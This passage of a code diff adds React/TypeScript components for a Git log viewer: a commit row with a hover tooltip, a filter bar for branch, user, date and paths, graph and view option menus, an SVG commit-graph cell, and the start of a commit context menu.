if (e.target instanceof Node && card?.contains(e.target)) return;
|
||||
setTooltip(false);
|
||||
};
|
||||
window.addEventListener("scroll", hide, true);
|
||||
return () => window.removeEventListener("scroll", hide, true);
|
||||
}, [tooltip]);
|
||||
const enterTooltip = () => {
|
||||
clearTimeout(tooltipTimer.current);
|
||||
if (tooltip || subjectRef.current?.closest("[data-hover-paused]")) return;
|
||||
tooltipTimer.current = setTimeout(() => {
|
||||
if (!subjectRef.current?.closest("[data-hover-paused]")) setTooltip(true);
|
||||
}, TOOLTIP_DELAY);
|
||||
};
|
||||
const leaveTooltip = () => {
|
||||
clearTimeout(tooltipTimer.current);
|
||||
tooltipTimer.current = setTimeout(() => setTooltip(false), 120);
|
||||
};
|
||||
const refs = c.refs.length > 0 && (
|
||||
<RefLabels
|
||||
refs={c.refs}
|
||||
compact={opts.compactRefs}
|
||||
tagNames={opts.tagNames}
|
||||
remoteNames={remoteNames}
|
||||
left={opts.refsOnLeft}
|
||||
/>
|
||||
);
|
||||
const subjectCell = (
|
||||
<span key={SUBJECT_COLUMN.id} className={styles.colSubject}>
|
||||
{graph && (
|
||||
<GraphCell
|
||||
row={graph}
|
||||
head={head}
|
||||
activeColor={hoverColor}
|
||||
highlighted={highlighted}
|
||||
highlightedNodes={highlightedNodes}
|
||||
onHover={onHover}
|
||||
onNavigate={onNavigate}
|
||||
targetTitle={targetTitle}
|
||||
onFragment={(target, expand, source) => onFragment(source ?? commitKey(c), target, expand)}
|
||||
onNode={() => onFragment(commitKey(c), commitKey(c), false)}
|
||||
interactive={interactive}
|
||||
/>
|
||||
)}
|
||||
{bookmarked && <Icon name="bookmark" size={12} />}
|
||||
{opts.refsOnLeft && refs}
|
||||
<span
|
||||
ref={subjectRef}
|
||||
className={clsx(styles.subject, head && styles.headSubject, merge && styles.mergeSubject)}
|
||||
onPointerEnter={enterTooltip}
|
||||
onPointerMove={enterTooltip}
|
||||
onPointerLeave={leaveTooltip}
|
||||
onPointerDown={() => {
|
||||
clearTimeout(tooltipTimer.current);
|
||||
setTooltip(false);
|
||||
}}
|
||||
>
|
||||
<IssueText text={c.summary} />
|
||||
</span>
|
||||
{!opts.refsOnLeft && refs}
|
||||
<Popup
|
||||
open={tooltip}
|
||||
anchor={subjectRef}
|
||||
role="tooltip"
|
||||
autoFocus={false}
|
||||
restoreFocus={false}
|
||||
onClose={() => setTooltip(false)}
|
||||
className={styles.commitTooltip}
|
||||
>
|
||||
<div ref={tooltipBody} onPointerEnter={() => clearTimeout(tooltipTimer.current)} onPointerLeave={leaveTooltip}>
|
||||
<CommitMessage commit={c} />
|
||||
</div>
|
||||
</Popup>
|
||||
</span>
|
||||
);
|
||||
return (
|
||||
<div
|
||||
id={id}
|
||||
role="option"
|
||||
aria-selected={selected}
|
||||
className={clsx(styles.row, onBranch && styles.currentBranch, selected && styles.selected)}
|
||||
style={{ top }}
|
||||
onMouseDown={(e) => {
|
||||
if (e.shiftKey) e.preventDefault(); // no text selection on range clicks
|
||||
onPick(commitKey(c), e);
|
||||
}}
|
||||
onContextMenu={(e) => {
|
||||
e.preventDefault();
|
||||
showContextMenu(e, commitMenu(c, selectedCommits(), fileHistoryTarget));
|
||||
}}
|
||||
>
|
||||
{opts.showRepository && commitRepo(c) && useVcs.getState().roots.length > 1 && (
|
||||
<span className={styles.colRepository} title={commitRepo(c)!}>
|
||||
{repoName(commitRepo(c)!)}
|
||||
</span>
|
||||
)}
|
||||
{columnSequence(opts.columnOrder, columns).map((cid) => {
|
||||
if (cid === SUBJECT_COLUMN.id) return subjectCell;
|
||||
const column = columns.find((col) => col.id === cid);
|
||||
if (!column) return null;
|
||||
return (
|
||||
<span
|
||||
key={cid}
|
||||
className={clsx(
|
||||
styles.columnCell,
|
||||
styles.muted,
|
||||
column.id === "author" && mine && styles.mine,
|
||||
column.id === "hash" && styles.hash,
|
||||
)}
|
||||
style={{ width: opts.columnWidths[column.id] ?? column.width ?? 120 }}
|
||||
title={column.id === "author" ? `${c.author} <${c.email}>` : undefined}
|
||||
>
|
||||
{column.render(c)}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// A row that is already interactive stays so when scrolling starts; only rows
|
||||
// whose content changes mid-scroll are drawn without hit targets.
|
||||
export const CommitRow = memo(CommitRowView, (prev, next) => {
|
||||
for (const key in next) {
|
||||
const k = key as keyof typeof next;
|
||||
if (prev[k] !== next[k] && !(k === "interactive" && prev.interactive)) return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
@@ -0,0 +1,502 @@
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { call, commands } from "@/platform/ipc";
|
||||
import { Icon, IconButton, SearchField, type MenuItem } from "@/ui";
|
||||
import clsx from "clsx";
|
||||
import { useContext, useEffect, useLayoutEffect, useRef, useState } from "react";
|
||||
import { BranchFilterPopup } from "../BranchFilterPopup";
|
||||
import { chooseDateRange, chooseMany } from "../dialogs";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { LogIdContext } from "../logContext";
|
||||
import { useLogOptions, type LogOptions } from "../logOptions";
|
||||
import {
|
||||
ME,
|
||||
dateRangeLabel,
|
||||
goToRef,
|
||||
openLogTab,
|
||||
recentFilterValues,
|
||||
recentLogFilters,
|
||||
reloadLog,
|
||||
setLogBranches,
|
||||
setLogFilters,
|
||||
toggleRepository,
|
||||
updateLogOptions,
|
||||
useGitLog,
|
||||
} from "../logStore";
|
||||
import { relTo } from "../model";
|
||||
import { branchesByRepo } from "../multiRoot";
|
||||
import { chooseLogPaths } from "../PathFilterDialog";
|
||||
import { openExternalLog } from "../RevisionBrowser";
|
||||
import { currentRepo, repoName, useVcs } from "../store";
|
||||
import { useDropdownMenu, useLogRepositories, useReadOnlyLog } from "./logHooks";
|
||||
import { toggle } from "./shared";
|
||||
|
||||
// --- filters ----------------------------------------------------------------
|
||||
|
||||
const DAY = 86_400_000;
|
||||
|
||||
const DATE_OPTIONS: { label: string; days: number }[] = [
|
||||
{ label: "Last 24 Hours", days: 1 },
|
||||
{ label: "Last 7 Days", days: 7 },
|
||||
{ label: "Last 30 Days", days: 30 },
|
||||
{ label: "Last Year", days: 365 },
|
||||
];
|
||||
|
||||
interface LogFilter {
|
||||
label: string;
|
||||
value: string | null;
|
||||
onOpen: (anchor: HTMLElement) => void;
|
||||
onClear: () => void;
|
||||
}
|
||||
|
||||
function FilterButton({ label, value, onOpen, onClear, hidden }: LogFilter & { hidden?: boolean }) {
|
||||
return (
|
||||
<span
|
||||
className={clsx(styles.filterButton, value && styles.filterActive, hidden && styles.filterHidden)}
|
||||
inert={hidden}
|
||||
>
|
||||
<button type="button" className={styles.filterMain} onClick={(e) => onOpen(e.currentTarget)} aria-haspopup="menu">
|
||||
{value ? (
|
||||
<>
|
||||
{tx(label)}: <span className={styles.filterValue}>{value}</span>
|
||||
</>
|
||||
) : (
|
||||
tx(label)
|
||||
)}
|
||||
{!value && <Icon name="chevron-down" size={12} className={styles.filterChevron} />}
|
||||
</button>
|
||||
{value && (
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.filterClear}
|
||||
aria-label={tx`Clear ${tx(label)} filter`}
|
||||
onClick={onClear}
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
)}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
export function FilterBar() {
|
||||
const scope = useContext(LogIdContext);
|
||||
const shown = useGitLog((s) => s.shownLog);
|
||||
const active = !scope || scope === shown;
|
||||
const logGeneration = useGitLog((s) => s.generation);
|
||||
const filters = useGitLog((s) => s.filters);
|
||||
const commits = useGitLog((s) => s.commits);
|
||||
const selectedBranches = useVcs((s) => s.branches);
|
||||
const [branches, setBranches] = useState(selectedBranches);
|
||||
const version = useVcs((s) => s.version);
|
||||
const root = useVcs((s) => s.root);
|
||||
const repositories = useLogRepositories();
|
||||
const readOnly = useReadOnlyLog();
|
||||
const bookmarks = useGitLog((s) => s.bookmarks);
|
||||
const showBranches = useLogOptions((s) => s.showBranches);
|
||||
useEffect(() => {
|
||||
let live = true;
|
||||
const roots = filters.repositories?.length ? filters.repositories : repositories;
|
||||
void branchesByRepo(roots)
|
||||
.then((all) => {
|
||||
if (live)
|
||||
setBranches([
|
||||
...new Map(
|
||||
Object.values(all)
|
||||
.flat()
|
||||
.map((b) => [b.name, b]),
|
||||
).values(),
|
||||
]);
|
||||
})
|
||||
.catch(() => undefined);
|
||||
return () => {
|
||||
live = false;
|
||||
};
|
||||
}, [repositories, filters.repositories, version, logGeneration]);
|
||||
const [text, setText] = useState(filters.text);
|
||||
const [branchAnchor, setBranchAnchor] = useState<HTMLElement | null>(null);
|
||||
const [menuBelow, dropdown] = useDropdownMenu();
|
||||
// Filters that do not fit move behind a chevron, like a toolbar's overflow.
|
||||
const groupRef = useRef<HTMLSpanElement>(null);
|
||||
const [hiddenFrom, setHiddenFrom] = useState(Infinity);
|
||||
useLayoutEffect(() => {
|
||||
const group = groupRef.current;
|
||||
if (!group) return;
|
||||
const measure = () => {
|
||||
const items = [...group.children] as HTMLElement[];
|
||||
const i = items.findIndex((el) => el.offsetLeft + el.offsetWidth > group.clientWidth + 1);
|
||||
setHiddenFrom(i < 0 ? Infinity : i);
|
||||
};
|
||||
measure();
|
||||
const ro = new ResizeObserver(measure);
|
||||
ro.observe(group);
|
||||
for (const el of group.children) ro.observe(el);
|
||||
return () => ro.disconnect();
|
||||
}, [filters, repositories.length]);
|
||||
|
||||
// Keep the field in sync when filters change elsewhere (Show History, reveal).
|
||||
const [seen, setSeen] = useState(filters);
|
||||
if (seen !== filters) {
|
||||
setSeen(filters);
|
||||
setText(filters.text);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (!active || text === filters.text) return;
|
||||
const t = setTimeout(() => setLogFilters({ text }), 300);
|
||||
return () => clearTimeout(t);
|
||||
}, [text, filters.text, active]);
|
||||
|
||||
const branchNames = () => branches.filter((b) => !b.name.endsWith("/HEAD")).map((b) => b.name);
|
||||
|
||||
const selectBranches = async () => {
|
||||
setBranchAnchor(null);
|
||||
const r = await chooseMany({
|
||||
title: "Filter by Branch",
|
||||
options: [
|
||||
...new Set([
|
||||
"HEAD",
|
||||
...branchNames(),
|
||||
...recentFilterValues("branches").flat(),
|
||||
...recentFilterValues("range").filter((s): s is string => !!s),
|
||||
]),
|
||||
],
|
||||
initial: filters.branches,
|
||||
customLabel: "Branches, patterns, exclusions or ranges (comma-separated):",
|
||||
});
|
||||
if (r) setLogBranches(r);
|
||||
};
|
||||
|
||||
const openUser = async (anchor: HTMLElement) => {
|
||||
const roots = filters.repositories?.length
|
||||
? filters.repositories
|
||||
: repositories.length
|
||||
? repositories
|
||||
: [currentRepo()];
|
||||
const users = await Promise.all(roots.map((repo) => call(commands.vcsLogUsers(repo)).catch(() => [] as string[])));
|
||||
const authors = [...new Set(users.flat().concat(commits.map((c) => `${c.author} <${c.email}>`)))].sort((a, b) =>
|
||||
a.localeCompare(b),
|
||||
);
|
||||
menuBelow(anchor, [
|
||||
...recentFilterValues("authors").map((authors) => ({
|
||||
label: authors.join(", "),
|
||||
run: () => setLogFilters({ authors }),
|
||||
})),
|
||||
{ label: ME, checked: filters.authors.includes(ME), run: () => setLogFilters({ authors: [ME] }) },
|
||||
...(authors.length ? [{ kind: "separator" as const }] : []),
|
||||
...authors.slice(0, 30).map((a) => ({
|
||||
label: a,
|
||||
checked: filters.authors.includes(a),
|
||||
run: () => setLogFilters({ authors: [a] }),
|
||||
})),
|
||||
{ kind: "separator" },
|
||||
{
|
||||
label: "Select…",
|
||||
run: async () => {
|
||||
const r = await chooseMany({
|
||||
title: "Filter by User",
|
||||
options: [ME, ...authors],
|
||||
initial: filters.authors,
|
||||
customLabel: "Other names or emails (comma-separated):",
|
||||
});
|
||||
if (r) setLogFilters({ authors: r });
|
||||
},
|
||||
},
|
||||
]);
|
||||
};
|
||||
|
||||
const openDate = (anchor: HTMLElement) =>
|
||||
menuBelow(anchor, [
|
||||
...recentFilterValues("date")
|
||||
.filter((date) => date != null)
|
||||
.map((date) => ({ label: date.label, run: () => setLogFilters({ date }) })),
|
||||
...DATE_OPTIONS.map((o) => ({
|
||||
label: o.label,
|
||||
checked: filters.date?.label === o.label,
|
||||
run: () => setLogFilters({ date: { after: Date.now() - o.days * DAY, before: null, label: o.label } }),
|
||||
})),
|
||||
{ kind: "separator" },
|
||||
{
|
||||
label: "Select…",
|
||||
run: async () => {
|
||||
const r = await chooseDateRange();
|
||||
if (r) setLogFilters({ date: { ...r, label: dateRangeLabel(r.after, r.before) } });
|
||||
},
|
||||
},
|
||||
]);
|
||||
|
||||
const openPaths = (anchor: HTMLElement) =>
|
||||
menuBelow(anchor, [
|
||||
...recentFilterValues("paths")
|
||||
.filter((paths) => paths?.length)
|
||||
.map((paths) => ({ label: paths!.join(", "), run: () => setLogFilters({ paths, path: null }) })),
|
||||
{
|
||||
label: "Select Folders…",
|
||||
run: async () => {
|
||||
const paths = await chooseLogPaths(
|
||||
repositories.length ? repositories : root ? [root] : [],
|
||||
filters.paths ?? (filters.path ? [filters.path] : []),
|
||||
readOnly,
|
||||
);
|
||||
if (paths) setLogFilters({ path: null, paths });
|
||||
},
|
||||
},
|
||||
]);
|
||||
|
||||
const logFilters: LogFilter[] = [
|
||||
...(repositories.length > 1
|
||||
? [
|
||||
{
|
||||
label: "Repository",
|
||||
value: filters.repositories?.map(repoName).join(", ") || null,
|
||||
onOpen: (anchor: HTMLElement) =>
|
||||
menuBelow(
|
||||
anchor,
|
||||
repositories.map((repo) => ({
|
||||
label: repoName(repo),
|
||||
checked: filters.repositories?.includes(repo) ?? false,
|
||||
run: () => setLogFilters({ repositories: toggleRepository(filters.repositories, repo) }),
|
||||
})),
|
||||
),
|
||||
onClear: () => setLogFilters({ repositories: [] }),
|
||||
},
|
||||
]
|
||||
: []),
|
||||
{
|
||||
label: "Branch",
|
||||
value: filters.range || filters.branches.join(", ") || null,
|
||||
onOpen: (anchor: HTMLElement) => setBranchAnchor((open) => (open === anchor ? null : anchor)),
|
||||
onClear: () => setLogBranches([]),
|
||||
},
|
||||
{
|
||||
label: "User",
|
||||
value: filters.authors.join(", ") || null,
|
||||
onOpen: openUser,
|
||||
onClear: () => setLogFilters({ authors: [] }),
|
||||
},
|
||||
{
|
||||
label: "Date",
|
||||
value: filters.date?.label ?? null,
|
||||
onOpen: openDate,
|
||||
onClear: () => setLogFilters({ date: null }),
|
||||
},
|
||||
{
|
||||
label: "Paths",
|
||||
value: filters.paths?.length
|
||||
? filters.paths.map((p) => (root ? relTo(root, p) : p)).join(", ")
|
||||
: filters.path
|
||||
? (root ? relTo(root, filters.path) : filters.path) || "."
|
||||
: null,
|
||||
onOpen: openPaths,
|
||||
onClear: () => setLogFilters({ path: null, paths: [] }),
|
||||
},
|
||||
];
|
||||
|
||||
return (
|
||||
<div className={styles.filters} role="toolbar" aria-label={tx("Log filters")}>
|
||||
{!showBranches && (
|
||||
<IconButton icon="chevron-right" title="Show Branches" size="small" action="vcs.log.showBranches" />
|
||||
)}
|
||||
<SearchField
|
||||
className={styles.textFilter}
|
||||
value={text}
|
||||
onChange={setText}
|
||||
placeholder="Text or hash"
|
||||
aria-label="Filter by message"
|
||||
toggles={[
|
||||
{
|
||||
id: "regex",
|
||||
icon: "regex",
|
||||
title: "Regex",
|
||||
pressed: filters.regex,
|
||||
onToggle: (regex) => setLogFilters({ regex }),
|
||||
},
|
||||
{
|
||||
id: "case",
|
||||
icon: "case",
|
||||
title: "Match Case",
|
||||
pressed: filters.matchCase,
|
||||
onToggle: (matchCase) => setLogFilters({ matchCase }),
|
||||
},
|
||||
]}
|
||||
/>
|
||||
<span ref={groupRef} className={styles.filterGroup}>
|
||||
{logFilters.map((f, i) => (
|
||||
<FilterButton key={f.label} {...f} hidden={i >= hiddenFrom} />
|
||||
))}
|
||||
</span>
|
||||
{hiddenFrom < logFilters.length && (
|
||||
<IconButton
|
||||
icon="chevron-right"
|
||||
title="More Filters"
|
||||
size="small"
|
||||
aria-haspopup="menu"
|
||||
onClick={(e) => {
|
||||
const anchor = e.currentTarget;
|
||||
menuBelow(
|
||||
anchor,
|
||||
logFilters.slice(hiddenFrom).map((f) => ({
|
||||
label: f.value ? `${tx(f.label)}: ${f.value}` : f.label,
|
||||
run: () => f.onOpen(anchor),
|
||||
})),
|
||||
);
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
{dropdown}
|
||||
{branchAnchor && (
|
||||
<BranchFilterPopup
|
||||
anchor={branchAnchor}
|
||||
branches={branches}
|
||||
selected={filters.branches}
|
||||
onClose={() => setBranchAnchor(null)}
|
||||
onSelect={(branch) => {
|
||||
setLogBranches([branch]);
|
||||
setBranchAnchor(null);
|
||||
}}
|
||||
onSelectMany={() => void selectBranches()}
|
||||
/>
|
||||
)}
|
||||
<span className={styles.grow} />
|
||||
<IconButton
|
||||
icon="bookmark"
|
||||
title="Bookmarked Commits"
|
||||
size="small"
|
||||
disabled={!Object.keys(bookmarks).length}
|
||||
onClick={(e) =>
|
||||
menuBelow(
|
||||
e,
|
||||
Object.entries(bookmarks).map(([key, summary]) => ({
|
||||
label: summary,
|
||||
run: () => {
|
||||
const split = key.lastIndexOf("\0");
|
||||
void goToRef(key.slice(split + 1), split >= 0 ? key.slice(0, split) : undefined);
|
||||
},
|
||||
})),
|
||||
)
|
||||
}
|
||||
/>
|
||||
<IconButton
|
||||
icon="plus"
|
||||
title="Open Another Log Tab"
|
||||
size="small"
|
||||
onClick={(e) =>
|
||||
menuBelow(e, [
|
||||
{
|
||||
label: "In Tool Window",
|
||||
run: () => {
|
||||
openLogTab("log", `Log ${useGitLog.getState().logTabs.length + 1}`);
|
||||
},
|
||||
},
|
||||
{
|
||||
label: "In Editor",
|
||||
run: () => {
|
||||
openLogTab("log", `Log ${useGitLog.getState().logTabs.length + 1}`, "editor");
|
||||
},
|
||||
},
|
||||
{ label: "External Repository…", run: openExternalLog },
|
||||
])
|
||||
}
|
||||
/>
|
||||
<IconButton
|
||||
icon="clock"
|
||||
title="Recent Filters"
|
||||
size="small"
|
||||
onClick={(e) =>
|
||||
menuBelow(
|
||||
e,
|
||||
recentLogFilters().map((filters) => ({
|
||||
label:
|
||||
[
|
||||
filters.range,
|
||||
filters.branches.join(", "),
|
||||
filters.authors.join(", "),
|
||||
filters.text,
|
||||
filters.path,
|
||||
filters.paths?.join(", "),
|
||||
filters.date?.label,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(" · ") || tx("All commits"),
|
||||
run: () => setLogFilters(filters),
|
||||
})),
|
||||
)
|
||||
}
|
||||
/>
|
||||
<IconButton icon="refresh" title="Refresh" size="small" onClick={() => void reloadLog({ preserve: true })} />
|
||||
<IconButton
|
||||
icon="sort"
|
||||
title="Graph Options"
|
||||
size="small"
|
||||
aria-haspopup="menu"
|
||||
onClick={(e) => menuBelow(e, graphOptionsMenu(useLogOptions.getState()))}
|
||||
/>
|
||||
<IconButton
|
||||
icon="eye"
|
||||
title="View Options"
|
||||
size="small"
|
||||
aria-haspopup="menu"
|
||||
onClick={(e) => menuBelow(e, viewOptionsMenu(useLogOptions.getState()))}
|
||||
/>
|
||||
<IconButton icon="search" title="Go to Hash/Branch/Tag" size="small" action="vcs.log.goToRef" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** IDEA's Git Log › Graph Options (sort, first parent / no merges, linear branches). */
|
||||
export function graphOptionsMenu(o: LogOptions): MenuItem[] {
|
||||
return [
|
||||
{ kind: "header", label: "Sort" },
|
||||
{ label: "By Commit Date", checked: o.sort === "date", run: () => updateLogOptions({ sort: "date" }) },
|
||||
{ label: "Topologically", checked: o.sort === "topo", run: () => updateLogOptions({ sort: "topo" }) },
|
||||
{
|
||||
label: "Incoming Commits First",
|
||||
checked: o.sort === "standard",
|
||||
run: () => updateLogOptions({ sort: "standard" }),
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{ kind: "header", label: "Options" },
|
||||
toggle("First Parent", o, "firstParent"),
|
||||
toggle("No Merges", o, "noMerges"),
|
||||
{
|
||||
label: "Linearize Merges",
|
||||
checked: o.linearizeMerges,
|
||||
run: () =>
|
||||
updateLogOptions({ linearizeMerges: !o.linearizeMerges, ...(!o.linearizeMerges ? { sort: "standard" } : {}) }),
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{ kind: "header", label: "Branch Actions" },
|
||||
{ kind: "action", action: "vcs.log.collapseLinear" },
|
||||
{ kind: "action", action: "vcs.log.expandLinear" },
|
||||
];
|
||||
}
|
||||
|
||||
/** IDEA's Git Log › View Options (what rows show and highlight). */
|
||||
export function viewOptionsMenu(o: LogOptions): MenuItem[] {
|
||||
return [
|
||||
{ kind: "header", label: "Show" },
|
||||
toggle("Compact References View", o, "compactRefs"),
|
||||
toggle("Tag Names", o, "tagNames"),
|
||||
toggle("Long Edges", o, "longEdges"),
|
||||
toggle("Commit Timestamp", o, "commitTimestamp"),
|
||||
toggle("References on the Left", o, "refsOnLeft"),
|
||||
toggle("Details", o, "showDetails"),
|
||||
toggle("Repository", o, "showRepository"),
|
||||
{
|
||||
label: "Columns",
|
||||
submenu: [
|
||||
toggle("Author", o, "showAuthor"),
|
||||
toggle("Date", o, "showDate"),
|
||||
toggle("Hash", o, "showHash"),
|
||||
toggle("Signature", o, "showSignature"),
|
||||
toggle("GitHub Commit Checks", o, "showGitHubChecks"),
|
||||
{ kind: "separator" },
|
||||
toggle("Column Headers", o, "showColumnHeaders"),
|
||||
],
|
||||
},
|
||||
{ kind: "separator" },
|
||||
{ kind: "header", label: "Highlight" },
|
||||
toggle("My Commits", o, "highlightMine"),
|
||||
toggle("Merge Commits", o, "highlightMerges"),
|
||||
toggle("Current Branch", o, "highlightCurrentBranch"),
|
||||
];
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { Fragment } from "react";
|
||||
import styles from "../GitLog.module.css";
|
||||
import { laneColor, type GraphRow, type GraphSegment } from "../graph";
|
||||
import { LANE, ROW } from "./shared";
|
||||
|
||||
export function x(lane: number) {
|
||||
return LANE / 2 + lane * LANE;
|
||||
}
|
||||
|
||||
/** Straight, also across lanes (IDEA's diagonal edges). */
|
||||
function seg(fromX: number, fromY: number, toX: number, toY: number) {
|
||||
return `M${fromX} ${fromY}L${toX} ${toY}`;
|
||||
}
|
||||
|
||||
export function GraphCell({
|
||||
row,
|
||||
head,
|
||||
activeColor,
|
||||
highlighted,
|
||||
highlightedNodes,
|
||||
onHover,
|
||||
onNavigate,
|
||||
onFragment,
|
||||
targetTitle,
|
||||
onNode,
|
||||
interactive = true,
|
||||
}: {
|
||||
row: GraphRow;
|
||||
head?: boolean;
|
||||
activeColor?: string | null;
|
||||
highlighted?: ReadonlySet<string>;
|
||||
highlightedNodes?: ReadonlySet<string>;
|
||||
onHover?: (edge: string | null) => void;
|
||||
onNavigate?: (index: number, key?: string) => void;
|
||||
onFragment?: (target: string, expand: boolean, source?: string) => void;
|
||||
targetTitle?: (index: number, key?: string) => string;
|
||||
onNode?: () => void;
|
||||
interactive?: boolean;
|
||||
}) {
|
||||
const cy = ROW / 2;
|
||||
const draw = (s: GraphSegment, i: number, up: boolean) => {
|
||||
const fromX = x(s.fromX ?? s.from);
|
||||
const toX = x(s.toX ?? s.to);
|
||||
const path =
|
||||
seg(fromX, up ? 0 : cy, toX, up ? cy : ROW) +
|
||||
(s.arrow ? arrowHead(up ? fromX : toX, up ? 0 : ROW, up ? -1 : 1) : "");
|
||||
const line = (
|
||||
<path
|
||||
key={interactive ? undefined : `${up ? "u" : "d"}${i}`}
|
||||
d={path}
|
||||
stroke={laneColor(s.color)}
|
||||
strokeWidth={s.edge != null && (activeColor === s.edge || highlighted?.has(s.edge)) ? 2.8 : 1.4}
|
||||
pointerEvents="none"
|
||||
strokeLinecap={s.dashed ? "butt" : "square"}
|
||||
strokeDasharray={s.dashed ? "2 2" : undefined}
|
||||
/>
|
||||
);
|
||||
if (!interactive) return line;
|
||||
const target = (up ? row.upTargets : row.downTargets)?.[i];
|
||||
const canFragment =
|
||||
!!target &&
|
||||
!!onFragment &&
|
||||
s.kind !== "filtered" &&
|
||||
s.kind !== "shallow" &&
|
||||
(!!s.source || (!up && s.from === row.lane));
|
||||
const canNavigate = s.targetRow != null && s.kind !== "shallow" && !!onNavigate;
|
||||
const actionable = canNavigate || canFragment;
|
||||
const label =
|
||||
s.kind === "shallow"
|
||||
? tx("Shallow history boundary")
|
||||
: s.targetRow != null
|
||||
? (targetTitle?.(s.targetRow, target) ?? tx("Go to connected commit"))
|
||||
: s.dashed
|
||||
? tx("Expand this fragment")
|
||||
: tx("Collapse this fragment");
|
||||
const activate = () => {
|
||||
if (canNavigate) onNavigate?.(s.targetRow!, target);
|
||||
else if (canFragment) onFragment?.(target!, !!s.dashed, s.source);
|
||||
};
|
||||
return (
|
||||
<Fragment key={`${up ? "u" : "d"}${i}`}>
|
||||
<path
|
||||
d={path}
|
||||
stroke="transparent"
|
||||
strokeWidth={10}
|
||||
style={{ pointerEvents: "stroke" }}
|
||||
role={actionable ? "button" : undefined}
|
||||
tabIndex={actionable ? 0 : undefined}
|
||||
aria-label={actionable ? label : undefined}
|
||||
onMouseEnter={() => onHover?.(s.edge ?? `${s.source ?? ""}\0${target ?? ""}`)}
|
||||
onMouseMove={() => onHover?.(s.edge ?? `${s.source ?? ""}\0${target ?? ""}`)}
|
||||
onMouseDown={(e) => e.stopPropagation()}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
activate();
|
||||
}}
|
||||
onKeyDown={(e) => {
|
||||
if (actionable && (e.key === "Enter" || e.key === " ")) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
activate();
|
||||
}
|
||||
}}
|
||||
>
|
||||
<title>{label}</title>
|
||||
</path>
|
||||
{line}
|
||||
</Fragment>
|
||||
);
|
||||
};
|
||||
return (
|
||||
<svg
|
||||
className={styles.graph}
|
||||
width={row.width * LANE}
|
||||
height={ROW}
|
||||
aria-label={tx("Commit graph")}
|
||||
onMouseLeave={() => onHover?.(null)}
|
||||
>
|
||||
{row.up.map((s, i) => draw(s, i, true))}
|
||||
{row.down.map((s, i) => draw(s, i, false))}
|
||||
<g
|
||||
role={onNode ? "button" : undefined}
|
||||
tabIndex={onNode ? 0 : undefined}
|
||||
aria-label={onNode ? tx("Collapse or expand this branch") : undefined}
|
||||
onMouseDown={(e) => e.stopPropagation()}
|
||||
onMouseEnter={() => row.id && onHover?.(`node:${row.id}`)}
|
||||
onMouseMove={() => row.id && onHover?.(`node:${row.id}`)}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
onNode?.();
|
||||
}}
|
||||
onKeyDown={(e) => {
|
||||
if (onNode && (e.key === "Enter" || e.key === " ")) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
onNode();
|
||||
}
|
||||
}}
|
||||
>
|
||||
<circle cx={x(row.lane)} cy={cy} r={8} fill="transparent" />
|
||||
<circle
|
||||
cx={x(row.lane)}
|
||||
cy={cy}
|
||||
r={row.id && highlightedNodes?.has(row.id) ? 6 : head ? 5 : 3.8}
|
||||
fill={head ? "var(--log-row-bg, var(--bg-app))" : laneColor(row.color)}
|
||||
stroke={laneColor(row.color)}
|
||||
strokeWidth={head ? 1.5 : 0}
|
||||
pointerEvents="none"
|
||||
/>
|
||||
{head && <circle cx={x(row.lane)} cy={cy} r={2.5} fill={laneColor(row.color)} pointerEvents="none" />}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
/** Arrow head at (`px`, `py`) pointing up (`dir` -1) or down (1): a long edge continues. */
|
||||
function arrowHead(px: number, py: number, dir: 1 | -1) {
|
||||
const back = py - dir * 4;
|
||||
return `M${px - 3} ${back}L${px} ${py}L${px + 3} ${back}`;
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
import type { Commit } from "@/bindings";
|
||||
import { useBookmarkPopups } from "@/features/search/bookmarks/store";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { copyText, type MenuItem } from "@/ui";
|
||||
import { branchMenu, inRepo } from "../branchMenu";
|
||||
import { commitBookmarkPath } from "../logBookmarks";
|
||||
import { loadLogDetails } from "../logDetails";
|
||||
import { toggleCommitBookmark, useGitLog } from "../logStore";
|
||||
import { commitKey, commitRepo, type RepoCommit } from "../multiRoot";
|
||||
import { browseRepositoryAt } from "../RevisionBrowser";
|
||||
import { useVcs } from "../store";
|
||||
import type { FileHistoryCommitArg, FileHistoryCommitsArg } from "../historyActions";
|
||||
|
||||
/** IDEA's Git Log commit context menu (Git.Log.ContextMenu); `selection` = all selected commits, newest first. */
|
||||
export function commitMenu(c: Commit, selection: Commit[] = [c], fileHistoryTarget?: string | null): MenuItem[] {
|
||||
const actionCommit: Commit | FileHistoryCommitArg = fileHistoryTarget
|
||||
? { kind: "file-history-commit", commit: c, target: fileHistoryTarget }
|
||||
: c;
|
||||
if ((c as RepoCommit).readOnly)
|
||||
return [
|
||||
{ kind: "action", action: "vcs.log.copyRevision", arg: c },
|
||||
{ label: "Copy Commit Message", run: () => copyCommitMessage(c) },
|
||||
{
|
||||
label: useGitLog.getState().bookmarks[commitKey(c)] ? "Remove Commit Bookmark" : "Bookmark Commit",
|
||||
run: () => toggleCommitBookmark(c),
|
||||
},
|
||||
{
|
||||
label: "Assign Mnemonic",
|
||||
run: () => useBookmarkPopups.setState({ chooser: { path: commitBookmarkPath(c), line: 0, text: c.summary } }),
|
||||
},
|
||||
{ kind: "action", action: "vcs.log.goToParent", arg: c },
|
||||
{ kind: "action", action: "vcs.log.goToChild", arg: c },
|
||||
